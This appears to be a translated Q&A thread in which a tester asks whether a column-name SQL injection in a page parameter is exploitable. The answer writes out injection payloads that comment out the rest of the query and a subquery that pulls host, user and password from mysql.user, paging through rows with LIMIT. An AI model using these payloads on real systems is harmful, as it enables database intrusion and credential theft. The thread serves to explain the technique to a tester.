SQL注入易受攻击?

时间:2015-07-15 00:59:11

标签: mysql sql sql-injection code-injection penetration-testing

所以我在测试时遇到了一个小问题。 我发现该页面允许从这种类型的链接获得动态sql列: http://example.xx/?l= [此参数允许sql代码注入] 进入下面显示的查询

sel menu fail(?some sort of failure of selection message)

select `menu_id`, `lang_**[the injected code starts here]**` as lang, age, is_open from `utf8_menu` where `age` = 503 AND `is_active`=1 order by `order`
Unknown column 'lang_' in 'field list'

我的问题是我尝试了无数的操作和添加到查询中,似乎无法找到一种方法来利用它。注射真的安全吗?任何帮助表示赞赏。 谢谢:))

1 个答案:

答案 0 :(得分:3)

没有。这里没有足够的信息来认为代码对SQL注入是无懈可击的。

从查询中,我们看到执行它的函数需要返回四列,我们会看到列的名称。 (这些信息为我们提供了一个很好的开端。)

我们不确定该函数对返回的列数,列的名称和数据类型,特定值有多挑剔。或者要获取的行数。 (也许该函数只取一行。)

如果我们知道声明属于这种形式......

  SELECT `menu_id`
       , `lang_**[the injected code starts here]**` AS lang
       , age
       , is_open
    FROM `utf8_menu` 
   WHERE `age` = 503
     AND `is_active`=1
   ORDER BY `order`

我们注入SQL的第一步可能是这样的:

  foo` AS lang, 1 AS age, 1 AS is_open --

如果将字符串值合并到SQL中而不进行修改,我们将获得以下形式的SQL:

  SELECT `menu_id`
       , `lang_foo` AS lang
       , 1 AS age
       , 1 AS is_open -- ` AS lang ... 

"破折号空间后的所有内容"将被视为评论。该函数可能会忽略名为lang_foo的列。如果我们很幸运,该函数按顺序位置(1,2,3,...)而不是列名称来引用列。

因此,我们可能需要更改" foo"是一些其他的价值,这是函数所期望的。

如果该漏洞利用成功,那么它是一个初始开放。我们可以尝试公开一些信息。

我们或许可以从mysql.user表中获取一些信息......

  SELECT `menu_id`
       , `lang_foo` AS lang
       , col3       AS `age`
       , 1          AS `is_open`
    FROM ( SELECT host     AS menu_id
                , user     AS lang_foo
                , password AS col3
             FROM mysql.user 
            ORDER BY host, user
         ) --  ...       

这取决于函数对返回值的作用;如果它把它放到网页上,我们就会变得金黄。

如果函数只返回一行,那么我们需要花费更多精力来获取整个mysql.user表。

我们可以在LIMIT 0,1第一次滑动LIMIT 1,1以获得第二行......